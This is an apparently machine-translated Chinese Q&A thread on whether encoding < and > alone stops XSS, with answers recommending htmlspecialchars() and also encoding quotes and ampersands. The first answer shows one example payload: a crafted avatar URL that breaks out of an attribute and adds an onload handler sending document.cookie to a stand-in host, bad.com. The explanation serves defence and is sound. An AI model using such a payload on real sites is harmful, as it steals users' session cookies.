我想知道引入两个标记<
和>
是否足以阻止XSS注射?
如果没有,为什么?什么是最好的解决方案?
答案 0 :(得分:17)
这在很大程度上取决于背景。
从典型的论坛网站查看此示例...
您可以将您的头像图片热链接。输入完整的网址。
恶意用户输入输入字段
http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie)
没有小于和大于的编码,但仍然是一个很大的安全漏洞。
使用htmlspecialchars()
,我发现制作(或使用)一个转换为字符串的包装函数是一个好主意,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它是使用应用程序的正确字符集。 Kohana有great example。
答案 1 :(得分:6)
您应同时考虑双引号"
,单引号'
和&符号&
。如果你在显示/生成输出期间所有都这样做,那么是的,这就足够了。
您应该只确保为任何用户控制的输入执行此操作,例如请求参数,请求URL,请求标头和用户控制的输入存储在数据存储区中。
在PHP中,您可以使用htmlspecialchars()
执行此操作,并且在JSP中可以使用JSTL <c:out>
执行此操作。